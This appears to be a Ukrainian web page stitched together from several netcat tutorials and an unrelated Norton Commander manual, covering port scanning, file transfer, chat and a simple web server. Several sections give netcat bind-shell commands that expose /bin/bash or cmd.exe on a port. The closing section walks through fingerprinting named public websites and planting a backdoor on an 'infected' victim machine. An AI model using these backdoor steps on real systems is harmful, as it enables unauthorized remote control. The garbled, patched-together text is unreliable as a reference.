Корисні команди Linux. Основні команди Norton Commander Обмін файлами за допомогою netcat

Головна / Очищення пристрою

Це другий пост із серії статей про Unix утиліти, які Вам слід знати. У цій статті я представляю Вам утиліту netcat або просто nc.

Утиліту Netcat часто називають таким собі "Швейцарським армійським ножем", у хорошому сенсі цього слова. Функціонал netcat корисний тією ж мірою, в якій корисна багатофункціональність і зручність кишенькового Швейцарського армійського ножа, що зарекомендував себе. Деякі з її можливостей включають сканування портів, передачі файлів, прослуховування портів і вона може бути використана як бекдор.

У 2006 році netcat отримала 4-е місце в опитуванні "100 утиліт мережної безпеки", тому вона - це точно той інструмент, який потрібно знати.

Як користуватись nc?

Якщо Ви пам'ятаєте, я казав, що netcat це Швейцарський армійський ніж. Чим би цей ніж був, якби його не можна було використовувати як звичайний ніж? Ось чому netcat може використовуватись замість звичайного telnet:

$ nc www.google.com 80

Насправді він зручніший ніж звичайний telnet, тому що Ви можете завершити з'єднання в будь-який час, натиснувши Ctrl+C і він обробляє двійкові дані як звичайні (ніяких escape послідовностей, нічого).

Ви можете додати параметр “-v” для більш детального виведення результатів дій, а параметр (-vv) для отримання статистики про те, скільки байт було передано під час поточного сеансу з'єднання.

Netcat може бути використаний як сервер. Якщо ви запустите його, як зазначено нижче, він буде слухати на порту 12345 (на всіх інтерфейсах):

$ nc -l -p 12345

Тепер якщо Ви підключитеся до порту 12345 цього хоста, все, що Ви набираєте, буде передано віддаленій стороні, що говорить нам про те, що netcat можна використовувати як сервер чату. Запустіть на одному з комп'ютерів:

# На комп'ютері A з IP 10.10.10.10 $ nc -l -p 12345

І підключіться до нього з іншого:

# На комп'ютері B $ nc 10.10.10.10 12345

Тепер обидві сторони можуть розмовляти!

Такий спосіб розмови, коли обидві сторони можуть розмовляти одна з одною, робить можливим використання nc для операцій введення/виведення через мережу! Наприклад, Ви можете надіслати цілу директорію з одного комп'ютера на інший організувавши tar конвеєр через nc на першому комп'ютері, і перенаправивши виведення в інший tar процес на другому.

Припустимо, Ви бажаєте переслати файли з директорії /data комп'ютера A з IP 192.168.1.10 на комп'ютер B (з будь-яким IP). Це просто:

# На комп'ютері A з IP 192.168.1.10 $ tar -cf - / data | nc -l -p 6666 # На комп'ютері B $ nc 192.168.1.10 6666 | tar -xf -

Не забудьте скомбінувати конвеєр з Рipe Viewer , який був описаний у попередній статті, щоб подивитися статистику того, як швидко відбувається передача!

Одиночний файл може бути надісланий простіше:

# На комп'ютері A з IP 192.168.1.10 $ cat file | nc -l -p 6666 # На комп'ютері B $ nc 192.168.1.10 6666 > file

Ви навіть можете скопіювати та відновити цілий диск за допомогою nc:

# На комп'ютері A з IP 192.168.1.10 $ cat /dev/hdb | nc -l -p 6666 # На комп'ютері B $ nc 192.168.1.10 6666 > /dev/hdb

Зауважимо: Опція "-l" не може бути використана спільно з "-p" на Mac комп'ютерах! Рішення - просто замінити “-l -p 6666? на “-l 6666”. Як тут:

# тепер nc слухає на порту 6666 для Mac комп'ютерів $ nc -l 6666

Неабияке використання netcat – сканування портів. Netcat не найкращий інструмент для такої роботи, але він із цим справляється (кращий, звичайно ж nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000 (UNKNOWN) 445 (microsoft-ds) open (UNKNOWN) 139 (netbios-ssn) open (UNKNOWN) 111 (sunrpc) open (UNKNOW) www) open (UNKNOWN) 25 (smtp) : Connection timed out (UNKNOWN) 22 (ssh) open

Параметр “-n” запобігає перегляду DNS, “-z” не чекає відповіді від сервера, та “-w 1? задає тайм-аут для з'єднання в 1 секунду.

Інше нетривіальне використання netcat як проксі. І порт та хост можуть бути перенаправлені. Подивіться цей приклад:

$ nc -l -p 12345 | nc www.google.com 80

Ця команда запускає nc на порту 1234 та перенаправляє всі з'єднання на google.com:80. Якщо тепер Ви підключитесь до цього комп'ютера на порту 12345 і зробите запит, Ви виявите, що у відповідь не отримуєте жодних даних. Це правильно, тому що ми не встановили двонаправлений канал. Якщо Ви додасте другий канал, Ви отримаєте Ваші дані на іншому порту:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

Після надсилання запиту на порт 12345, отримайте Ваші дані відповіді порту 12346.

Ймовірно найпотужніша можливість netcat - запустити будь-який процес як сервер:

$ nc -l -p 12345 -e /bin/bash

Параметр “-e” вражає виконання введення та виведення перенаправленого через мережевий сокет. Тепер, якщо Ви підключитеся до хоста на порту 12345, Ви можете використовувати bash:

$ nc localhost 12345 ls -las total 4288 4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 . 4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 .. 8 -rw------- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history 4 -r -r-- 1 pkrumins users 220 2009-01-18 21:04 .bash_logout ...

Наслідки такі, що nc це популярний хакерський інструмент і з його допомогою можна дуже легко зробити бекдор. На Linux сервері ви можете запустити /bin/bash, а на Windows cmd.exe і мати у своїх руках повний контроль.

Це все, що я хотів сказати. Вам знайомі інші корисні прийоми роботи з netcat, які тут не описані?

Як встановити nc?

Якщо у вас Debian або система, що базується на Debian, така як Ubuntu, зробіть таке:

$ sudo aptitude install netcat

Якщо у Вас Fedora або система, що базується на Fedora, така як CentOS, зробіть:

$ sudo yum install netcat

Якщо у Вас Slackware, FreeBSD, NetBSD, Solaris або Mac, скачайте вихідні номери nc і зробіть:

$ tar -zxf nc-version.tar.gz $ cd nc-version $ ./configure && sudo make install

Ще спосіб зробити це на Mac, якщо у Вас є MacPorts:

$ sudo port install netcat

На Slackware Ви можете встановити її як пакет із пакетної директорії:

$ sudo installpkg nc-1.10-i386-1.tgz

Якщо у Вас Windows, завантажте порт Windoze з securityfocus.

Посібник з утиліти може бути знайдений у man nc.

Приємного проведення часу разом з nc, до наступного разу!

Інструкція по роботі вNortonCommander

Для запуску системи NC у командному рядку DOS набрати команду NC чи клацнути лівою кнопкою мишки по піктограмі NC робочому столі комп'ютера. Щоб завершити роботу з NC, натисніть клавішу [ F10] . У діалоговому вікні вибрати відповідь “Так” у випадку виходу з системи, “Ні” – в іншому випадку. Вибір варіанта відповіді виконується клавішами керування курсором на функціональній клавіатурі та наступним натисканням клавіші [ Enter] . У нижній частині екрану міститься командний рядок DOS, де можна вводити відповідні команди, працюючи під керуванням NC. Найнижчий рядок екрану містить рядок підказки, де вказується призначення основних "гарячих" клавіш, які відповідають командам NC (і DOS).

Після запуску NC на екрані з'являються дві панелі – ліва та права. У верхній частині кожної з панелей у маленькому прямокутному вікні вказано повний шлях до поточного файлу чи каталогу. Та панель, у якій перебуває підсвічений прямокутник – курсор, називається активної. Для переходу з панелі до панелі використовується клавіша . Якщо виділено верхній рядок на панелі та зображенням “…” це означає, що Ви знаходитесь в каталозі з ім'ям, вказаним у верхній частині панелі. Для роботи з панелями використовуються такі команди:

[ Ctrl] + [ F1] Прибрати/показати ліву панель

[ Ctrl] + [ F2] Прибрати/показати праву панель

[ Ctrl] + [ U] Поміняти панелі місцями

[ Ctrl] + [ O] Прибрати/ показати обидві панелі

[ Ctrl] + [ P] Прибрати/ показати не активну панель

Для зміни логічного імені диска на лівій панелі натиснути [ Alt] + [ F1] , у діалоговому вікні, що з'явилося, вибрати за допомогою клавіш управління курсором потрібне ім'я диска з пропонованих імен, натиснути клавішу [ Enter] . Для правої панелі дії аналогічні, але спочатку слід натиснути [ Alt] + [ F2] .

Для переходу до каталогу виділити його на активній панелі та натиснути клавішу [ Enter] . Для переходу до каталогу вищого рівня на активній панелі виділити рядок “…” та натиснути клавішу [ Enter] .

Для роботи з каталогами використовуються такі команди:

[ F7] – створити каталог. У діалоговому вікні, що з'явилося, задати нове ім'я каталогу;

[ F8] – видалити каталог. У діалоговому вікні підтвердити видалення або скасувати видалення натисканням клавіші Esc.

Для роботи з файлами використовуються такі команди:

[ Shift] + [ F4] – створити файл. У діалоговому вікні, що з'явилося, задати нове ім'я файлу (при цьому не забувати вказувати розширення). Після того, як ім'я файлу задано, у робочому просторі екрана набрати вміст файлу. Завершити створення файлу командою [ Ctrl] + [ Z]. Щоб зберегти файл, натисніть клавішу [ F2] . Вийти з редагування клавішею [ F10 ] .

[ F4] – редагування раніше створеного документа. При цьому в діалоговому вікні необхідно задати ім'я файлу, що редагується. Під час роботи в режимі редагування у просторі екрана в нижній частині з'являється рядок підказки із призначенням “гарячих” клавіш у режимі редагування.

[ Shift] + [ F2] – зберегти файл із новим ім'ям.

[ F3] – переглянути вміст файлу. Для цього заздалегідь виділити файл на панелі.

[ F5] - копіювання файлу. Усі операції з файлами та каталогами виконуються за допомогою обох панелей. Для копіювання файлу на неактивній панелі встановити каталог, куди буде поміщений файл, що копіюється, перейти в даний каталог. На активній панелі виділити файл, що копіюється, і натиснути клавішу [ F5] . Щоб підтвердити копіювання, натисніть клавішу [ Enter] для скасування – .

[ F6] – перенесення/перейменування файлу. Операція виконується аналогічно копіюванню. Для переміщення файлу на неактивній панелі встановити каталог, куди буде розміщено файл, перейти до цього каталогу. На активній панелі виділити файл, що переміщається, і натиснути клавішу [ F6] . Для перейменування файлу в діалоговому вікні встановити нове ім'я файлу, додавши його через значок ” \ ” у вказівці шляху. При цьому необхідно пам'ятати, що файл, що переміщається з колишнього місця видаляється.

[ F9] – перехід у менюNC.

Групові операції над файлами

Операції копіювання, переміщення та видалення можна виконувати над кількома файлами одночасно. Для цього їх необхідно позначити, виділивши на панелі та натиснувши клавішу [ Insert] . Виділені файли підсвічуються прямокутниками контрастного кольору. Для зняття виділення вказані дії повторити. Після процедури виділення файлів потрібна операція (копіювання, переміщення, видалення) виконується над групою файлів як один. Другий спосіб виділення файлу виконується при натисканні великої сірої клавіші ”+” на функціональній клавіатурі ліворуч. Після натискання цієї клавіші в діалоговому вікні слід задати ім'я файлу або вказати імена файлів під час використання маски на ім'я: “ * ”, “ *.* ”, “ ? ”. Щоб зняти виділення файлів, використовувати клавішу ” - ” на функціональній клавіатурі ліворуч.

Система Меню NC

Система меню призначена для налаштування оболонки та полегшення виконання операцій. Виклик рядка меню здійснюється при натисканні клавіші [ F9] . Система меню складається з рядка меню і меню. Меню містить такі пункти: Права Файли Команди Установки Ліва . Команди Права і Ліва Вибір режиму відображення файлів на панелі. Усі опції команд для лівої та правої панелі ідентичні. Команда Файли призначена для виконання операцій над файлами та каталогами. Пункт меню Команди призначений до виконання додаткових команд. Команда Налаштування призначена для настроювання середовища NC. Вибір відповідної команди виконується за допомогою клавіш керування курсором та наступним натисканням клавіші [ Enter].

Пункт меню Ліва (Права).

Меню даної команди містить опції вибору формату відображення файлу на екрані. В режимі Короткий на панелі відображаються лише імена файлів і каталогів. В режимі Повний виводяться ім'я файлу чи каталогу, для файлу вказується його розмір, для каталогу – рядок “підкаталог“, дата та час створення файлу та каталогу. В режимі Дерево можна відобразити дерево каталогів поточного диска і з допомогою курсора швидко знайти потрібний файл, переміщаючись деревом. Наступна група опцій пункту меню визначає порядок відображення файлів на панелі. При цьому файли можуть розташовуватись у довільному порядку – режим Без сортування , а може бути упорядковані у порядку: Ім'я – на ім'я в алфавітному порядку, Розширення – щодо розширення в алфавітному порядку, Час - за датою створення, причому файли з останніми датами створення розташовуються на початку списку, Розмір - За розміром файлу в порядку зменшення. Вибір рядка відповідного режиму здійснюється курсором та встановлення прапорця за допомогою клавіші "пробіл".

Пункт меню Файли .

Меню даної команди містить опис призначення гарячих клавіш [ F1] - [ F8] , тобто. дії гарячих клавіш продубльовані командами меню. Наступна опція – Встановлення атрибутів. Атрибути встановлюються лише для файлів. Порядок встановлення атрибутів такий: на панелі курсором вибирається файл. Після цього натиснувши клавішу [ F9] перейти до меню NC і вибрати пункт Файли Встановлення атрибутів . Після натискання клавіші [ Enter] у діалоговому вікні з'являється список можливих атрибутів: Тільки для читання, Архівні, Приховані, Системні. Вибір рядка атрибута файлу виконується курсором та встановлення прапорця за допомогою клавіші "пробіл". При цьому файл із атрибутами Тільки для читаннянеможливо модифікувати, він доступний лише перегляду. Файл із атрибутами Прихованийна панелі позначається маленьким підсвіченим прямокутником (якщо в налаштуваннях екрана не встановлено опцію Показати приховані файлиім'я файлу взагалі на панелі не відображається). Наступна група команд дозволяє виділяти файли (аналог великої сірої клавіші ”+” ), знімати виділення (аналог клавіші ” - ” на функціональній клавіатурі), інвертувати виділення (аналог клавіші ” * ” на функціональній клавіатурі).

Пункт меню Команди .

Меню даної команди, що випадає, дозволяє створити меню користувача, відредагувати дане меню, переглянути історію команд, що вводяться в командному рядку DOS, і містить інші додаткові можливості оболонки NC.

Пункт меню Налаштування.

Меню даної команди, що випадає, дозволяє налаштувати інтерфейсне середовище зручним для користувача чином. Містить опцію Налаштування Редакторта інші. При виборі рядка меню Налаштування відкривається набір діалогових вікон, що дозволяють вибрати колірний набір екрана, встановити кількість рядків на екрані і т.д. Діалогове вікно Налаштування панелідозволяє Показати приховані файлиякщо встановлено відповідний прапорець (або не показувати). Встановлення прапорців відповідних опцій виконується також курсором та клавішею "пробіл".

Завдання до лабораторної роботи

|

Система Linux відома тим, що в більшості дистрибутивів величезна кількість корисних утиліт командного рядка поставляються разом з ОС. Досвідчені системні адміністратори можуть виконати більшість завдань за допомогою вбудованих інструментів без встановлення додаткового програмного забезпечення.

Даний посібник присвячений роботі утиліти . Цей своєрідний «швейцарський армійський ніж» мережевих інструментів може бути корисним під час моніторингу, тестування та передачі даних через мережеві з'єднання.

У цьому посібнику використовується сервер Ubuntu 12.04, але загалом утиліта netcat доступна практично на будь-якому сучасному дистрибутиві. Ubuntu поставляється з BSD-варіантом утиліти, який буде використаний у цій статті. Інші версії можуть працювати інакше або надавати інші опції.

Загальний синтаксис

За промовчанням netcat працює шляхом ініціації з'єднання TCP з віддаленим хостом.

Базовий синтаксис:

netcat [опції] хост порт

Така команда ініціює TCP-з'єднання із зазначеним хостом через заданий порт. В основному вона функціонує аналогічно старій команді Linux - telnet. Майте на увазі, що ваше з'єднання буде встановлене в незашифрованому вигляді.

Щоб замість встановлення з'єднання TCP надіслати UDP-пакет, використовуйте опцію -u:

netcat -u хост порт

Щоб встановити діапазон портів, вкажіть перший та останній порт діапазону через тире:

netcat хост перший_порт-останній_порт

Зазвичай, ця команда використовується з додатковими прапорами.

У більшості систем можна використовувати netcat або nc. Вони взаємозамінні, оскільки є псевдонімами однієї команди.

Використаннядля сканування портів

Найчастіше netcat використовують як сканер портів.

Хоча Netcat, ймовірно, не найрозумніший інструмент для виконання цього завдання (у більшості випадків для цього більше підійде nmap), він може виконувати просте сканування портів, щоб швидко визначити відкриті порти.

Для цього вкажіть діапазон портів для сканування (як показано вище), а також використовуйте опцію -z, яка сканує замість встановлення з'єднань.

Наприклад, щоб просканувати всі порти до порту 1000, виконайте:

netcat-z-v domain.com 1-1000

Як бачите, крім опції -z у цій команді використана опція -v, завдяки якій netcat виводить докладнішу інформацію.

Результат має такий вигляд:

nc: connect to domain.com port 1 (tcp) failed: Connection refused
nc: connect to domain.com port 2 (tcp) failed: Connection refused
nc: connect to domain.com port 3 (tcp) failed: Connection refused
nc: connect to domain.com port 4 (tcp) failed: Connection refused
nc: connect to domain.com port 5 (tcp) failed: Connection refused
nc: connect to domain.com port 6 (tcp) failed: Connection refused
nc: connect to domain.com port 7 (tcp) failed: Connection refused
. . .
Connection to domain.com 22 port succeeded!
. . .

Як бачите, ця команда виводить докладний результат, а також повідомляє, чи було сканування кожного окремого порту успішним чи ні.

Це зручно при використанні доменного імені.

Проте, вказуючи потрібні IP-адреси, можна прискорити сканування. Потім можна використовувати прапорець -n, щоб вказати, що не потрібно дозволяти IP-адресу за допомогою DNS:

netcat-z-n-v 111.111.111.111 1-1000

Повідомлення, що повертаються, відправляються в стандартний потік помилок. Повідомлення про стандартні помилки можна надсилати до стандартного висновку, щоб фільтрувати результати.

Для перенаправлення стандартної помилки стандартний висновок використовується bash-синтаксис 2> отримані результати фільтруються за допомогою grep:

netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep succeeded
Connection to 111.111.111.111 22 port succeeded!

Отже, тепер можна побачити, що єдиний відкритий порт на віддаленій машині в діапазоні 1-1000 - це порт 22, стандартний порт SSH.

Спілкуванняза допомогою netcat

Команда netcat не обмежується надсиланням пакетів TCP та UDP. Вона також може прослуховувати порт на з'єднання та пакети, що дає можливість підключити два екземпляри netcat щодо «клієнт-сервер».

Який комп'ютер є сервером, а який - клієнтом, суттєво лише під час початкового налаштування. Після того, як з'єднання встановлено, зв'язок однаковий в обох напрямках.

На одній машині слід сказати netcat прослуховувати певний порт на підключення. Це робиться за допомогою параметра -l, після якого вказується номер порту:

Виконавши цю команду, netcat прослуховує з'єднання TCP на порту 4444. Тепер звичайний користувач (не root) не зможе відкривати будь-які порти до 1000 (для безпеки сервера).

На другому сервері необхідно підключитися до першої машини через вказаний порт. Це робиться так само, як було показано раніше:

netcat domain.com 4444

Після встановлення з'єднання може здатися, що нічого не сталося. Але тепер можна надсилати повідомлення по обидва боки з'єднання і їх буде видно на обох серверах.

Введіть повідомлення та натисніть ENTER. Повідомлення з'явиться як на локальному, так і віддаленому сервері. Це працює і у зворотному напрямку.

Після завершення надсилання повідомлень натисніть CTRL-D, щоб перервати з'єднання TCP.

Обмін файлами за допомогою netcat

Ознайомившись із основними функціями утиліти та виконавши попередні приклади, можна перейти до складніших завдань.

Як мовилося раніше, утиліта netcat створює TCP-з'єднання, з допомогою яких можна передавати практично будь-який вид інформації, не обмежуючись набраними користувачем повідомленнями. Ці знання можна використовувати, щоб перетворити netcat на програму передачі файлів.

Знову ж таки, потрібно вибрати одну машину для прослуховування з'єднань. Проте, замість друкувати інформацію на екран (як у попередньому прикладі), netcat розмістить всю інформацію прямо у файл:

netcat -l 4444 > received_file

На другому комп'ютері потрібно створити простий текстовий файл:

echo "Hello, це є файл" > original_file

Тепер можна використовувати цей файл як вхідні дані для створення з'єднання зі слухаючим комп'ютером. Файл буде передаватися так само, якби він був набраний в інтерактивному режимі:

netcat domain.com 4444< original_file

Як можна бачити, на комп'ютері, який очікував на з'єднання, тепер є новий файл з ім'ям «received_file», що містить введені на іншому комп'ютері дані:

cat received_file
Hello, this is a file

Як бачите, подібні з'єднання можна легко використовувати для передачі будь-якої інформації.

Наприклад, можна передати вміст цілого каталогу; для цього створіть безіменний тарбол, передайте його на віддалену систему та розпакуйте його у віддалений каталог.

На стороні, що приймає, можна використовувати наступну команду, щоб попередити про те, що потрібно отримати і розпакувати файл:

netcat-l 4444 | tar xzvf -

Тіре в кінці команди означає, що тарбол працюватиме на стандартне введення, яке в даний час передається по мережі, якщо з'єднання встановлено.

На стороні, що містить каталог, який потрібно передати, запакуйте цей каталог в архів, а потім надішліть його на віддалений комп'ютер за допомогою netcat:

tar-czf - * | netcat domain.com 4444

На цей раз тире в команді tar означає, що вміст поточного каталогу (як зазначено символом *) потрібно заархівувати та передати, а потім записати результат у стандартний висновок.

Потім це записується в підключення ТСР, передається іншій стороні з'єднання і розпаковується в каталог віддаленого комп'ютера.

Це лише один приклад передачі складніших даних з одного комп'ютера на інший. Також часто використовується команда dd, яка створює образ диска однією стороні і передає його на віддалений комп'ютер. Проте такий підхід не охоплений цим керівництвом.

як простий веб-сервер

Утиліта netcat вже була використана для передачі повідомлень та файлів. Цей підхід допоможе використовувати netcat як простий веб-сервер. Це може стати в нагоді для тестування готових сторінок.

Для початку потрібно створити HTML-файл на одному сервері:

У цьому файлі можна розмістити наступний простий код:



Test Page


Level 1 header


Subheading


Normal text here




Збережіть та закрийте файл.

Цей файл не можна обслуговувати на порту веб-сервера за промовчанням (80) без привілеїв root. Оскільки звичайний користувач установіть порт 8888.

Щоб протестувати одну сторінку та перевірити, як вона відображається, наберіть щось на кшталт:

netcat -l 8888< index.html

Тепер контент можна переглянути у браузері, відвідавши:

http://IP_сервера:8888

Ця команда виведе сторінку, після чого з'єднання netcat закриється. При спробі поновити сторінку вона зникне.

Netcat може обслуговувати сторінку протягом невизначеного терміну; для цього потрібно зробити останню команду циклічною за допомогою рядка:

while true; do nc -l 8888< index.html; done

Тоді сторінка продовжуватиме отримувати з'єднання після того, як перше з'єднання було припинено.

Натисніть CTRL-C, щоб зупинити цикл.

Цей сервер дозволить побачити, як сторінка відображається у браузері, але не надає більшої функціональності. Ніколи не використовуйте такий веб-сервер для обслуговування реальних сайтів: він є небезпечним, крім того, такі прості речі, як посилання, не завжди працюють правильно.

Підсумки

Даний посібник знайомить з основними функціями та використанням netcat. Так як цей інструмент універсальний, він може бути використаний для діагностики проблем та тестування базової функціональності TCP/UDP-з'єднань.

Крім того, netcat дозволяє спілкуватися та обмінюватися інформацією між різними комп'ютерами, що дуже важливо для швидкої взаємодії користувачів. Спрощуючи створення з'єднання, утиліта netcat намагається зробити мережеві взаємодії комп'ютерів більш зручними, швидкими та зрозумілими.

Tags: ,

У цій статті я розгляну популярну мережеву утиліту netcat та корисні трюки під час роботи з нею.


Netcat – утиліта Unix, що дозволяє встановлювати з'єднання TCP та UDP, приймати звідти дані та передавати їх. Незважаючи на свою корисність і простоту, багато хто не знає способів її застосування і незаслужено обходить її стороною.


За допомогою даної утиліти можна проводити деякі етапи під час проведення тестування на проникнення. Це може бути корисно, коли на атакованій машині відсутні (або привернуть увагу) встановлені пакети, є обмеження (наприклад, IoT/Embedded пристрою) і т.д.


Що можна зробити за допомогою Netcat:

  • Сканування портів;
  • Перенаправляти порти;
  • Здійснювати збір банерів сервісів;
  • Слухати порт (біндити для зворотного з'єднання);
  • Завантажувати та закачувати файли;
  • Виводити вміст raw HTTP;
  • Створити міні-чат.

Взагалі за допомогою netcat можна замінити частину unix утиліт, тому цей інструмент можна вважати комбайном для виконання тих чи інших завдань.

Практичні приклади

У багатьох випадках при необхідності перевірки того чи іншого хоста використовують телнет або власні сервісні служби для виявлення хоста або банера. Як нам може допомогти netcat:

Перевірка наявності відкритого TCP-порту 12345

$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Сканування TCP-портів за допомогою netcat:

$ nc -vnz 192.168.1.100 20-24

При такому скануванні не буде з'єднання з портом, а лише виведення успішного з'єднання:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканування портів UDP.

Для сканування UDP портів за допомогою nmap потрібні root привілеї. Якщо їх немає - у цьому випадку нам також може допомогти утиліта netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

Надсилання UDP-пакету

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Це може бути корисним при взаємодії з мережевими пристроями.

Прийом даних на UDP-порту та виведення прийнятих даних

$ nc -u localhost 7777

Після першого повідомлення висновок буде зупинено. Якщо необхідно прийняти кілька повідомлень, необхідно використовувати while true:


$ while true; do nc-u localhost 7777; done

Передача файлів. За допомогою netcat можна як отримувати файли, так і передавати на віддалений хост:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact у ролі найпростішого веб-сервера.

Netcat може виконувати роль найпростішого веб-сервера для відображення сторінок html.


$ while true; do nc -lp 8888< index.html; done

За допомогою браузера на адресу: http://хост netcat:8888/index.html. Для використання стандартного порту веб-сервера за номером 80 вам доведеться запустити nc c root привілеями:


$ while true; do sudo nc -lp 80< test.html; done

Чат між вузлами

На першому вузлі (192.168.1.100):


$ nc -lp 9000

На другому вузлі:


$ nc 192.168.1.100 9000

Після виконання команд усі символи, введені у вікно терміналу, на будь-якому з вузлів з'являться у вікні терміналу іншого вузла.

Реверс-Шел

За допомогою netcat можна організувати зручний реверс-шелл:


nc -e /bin/bash -lp 4444

Тепер можна з'єднатися з віддаленого вузла:


$ nc 192.168.1.100 4444

Не варто опускати руки, якщо немає тих чи інших інструментів, часто досить громіздких, іноді завдання можна вирішити підручними засобами.

В·nc -h

Як ви можете бачити, основний синтаксис Netcat полягає в наступному.

Щоб підключитися до іншої машини:

·nc options host IP address port

щоб прослуховувати вхідні з'єднання:

· nc -l -p port

Крок 2: Використовуйте Netcat для підключення до віддаленої системи

Давайте використовуємо Netcat для підключення до віддаленої системи. У нашому випадку постараємося підключитися до веб-сервера через порт 80. Набираємо:

В·nc 192.168.1.105 80


Крок 3: Використовуйте Netcat, щоб захопити банер із відбитками пальців ОС

Як тільки ми отримали зв'язок TCP з веб, ми можемо використовувати Netcat, щоб захопити банер веб сервера для ідентифікації, яке програмне забезпечення працює на веб-сервері жертви.

Пам'ятайте, що перш ніж атакувати будь-яку систему, ми повинні дізнатися якнайбільше про жертву. Netcat може допомогти нам із цим завданням, захоплюючи банери, які веб-сервери обслуговують для нових підключень.

Тепер, коли у нас є зв'язок, ми можемо захопити банер з веб-сервера за допомогою команди:

В·HEAD / HTTP/1.0

Будьте уважними і скопіюйте точно, як ввів автор, з косою межею і пробілами.


Натисніть Enter кілька разів, і веб-сервер відповість своїм банером, повідомивши нам, яке програмне забезпечення запущено. У нашому випадку ми можемо бачити, що веб-сервер працює під керуванням Microsoft IIS 6.0.

Ми можемо використовувати цю техніку на інших загальнодоступних сайтах. Спробуємо на деяких широко відомих сайтах і подивимося, яке програмне забезпечення вони використовують на веб-сервері. По-перше, спробуємо сайт wonderhowto.com. Коли ми пропінгуємо wonderhowto.com, то побачимо, що IP-адреса 98.129.110.26. Таким чином, можна потім ввести:

В·nc 98.129.110.26 80

Після того, як буде зв'язок, ми можемо захопити банер Інтернету, знову набравши:

В·HEAD / HTTP/1.0

А потім натисніть клавішу Enter два або три рази.


Як бачимо, wonderhowto.com працює на Microsoft IIS/7.5.

Якщо ми спробуємо те саме з cnn.com, то отримаємо результати, наведені нижче:


Цікаво, cnn.com працює на nginx - веб-сервері з відкритим вихідним кодом, який за дуже короткий проміжок часу досяг у глобальному масштабі загального числа установок Microsoft IIS (Apache, як і раніше, використовують понад 60% веб-серверів на планеті).

Крок 4: Використовуйте Netcat для прослуховування підключень

Тепер давайте використовуємо netcat, щоб створити слухача на віддаленій системі. Припустимо, що ми маємо Windows Server, на якому ми встановили netcat. Тепер ми можемо ввести наступне, щоб відкрити netcat слухача на порту 6996 (це може бути будь-який порт) у цій системі:

В·nc - l -p 6996

Так було створено "слухач", який може підключитися до нашого дозвілля. Зверніть увагу, що на системах Windows ми можемо запустити цю ж команду з верхнім регістром L і це створить постійного слухача, який відкриється, навіть якщо система буде перезавантажена.

Крок 5: Створіть Backdoor

Тепер давайте створимо бекдор на зараженій системі, щоб ми могли повернутись у будь-який час. Команда трохи відрізнятиметься залежно від того, яку систему, Linux або Windows, атакуємо.

Для Windows ми використовуємо:

·nc -l -p 6996 -e cmd.еxe

Для Linux використовуємо:

· nc -l -p 6996 -e /bin/bash

В·nc 192.168.1.105 6996


Як Ви можете бачити, командний рядок Windows провів трубопроводом через наше підключення netcat безпосередньо до нашої атакуючої системи! Ми маємо цю скриньку!

© 2023 androidas.ru - Все про Android